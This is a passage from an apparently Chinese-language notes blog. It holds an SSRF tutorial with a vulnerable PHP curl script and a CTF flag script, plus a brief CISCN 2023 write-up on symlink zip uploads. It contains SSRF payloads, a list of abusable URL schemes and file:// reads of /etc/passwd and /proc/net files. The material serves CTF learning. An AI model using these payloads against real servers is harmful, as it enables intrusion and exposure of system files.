Notes Site.

img

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# index.php
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
}
$url = $_GET['url'];
curl($url);
1
2
3
4
5
6
7
8
9
10
11
12
13
# ssrf.php
<?php
$ip = $_SERVER["REMOTE_ADDR"];
if($ip === "127.0.0.1"){
if($_GET["passwd"] === "adminTrue"){
readfile("/flag");
}
else{
echo "no";
}
}else{
echo "not 127.0.0.1";
}

payload

1
2
?url=http://127.0.0.1/ssrf.php?passwd=adminTrue
...

利用协议

1
2
3
4
5
6
7
8
file://
dict://
gopher://
ftp://
sftp://
ldap://
tftp://
...

file://

1
2
3
4
5
6
file://
file:///etc/passwd
file:///etc/hosts
file:///proc/net/arp
file:///proc/net/fib_trie
...
Read More
post @ 2024-01-20

2023CISCN初赛

Unzip

题型:文件上传(软连接)

image-20240326122623734

点击上传,跳转到upload.php,高亮源码

image-20240326122625315

软连接

image-20240326123325173

依次上传 1.zip、2.zip

image-20240326123701286

Read More
⬆︎TOP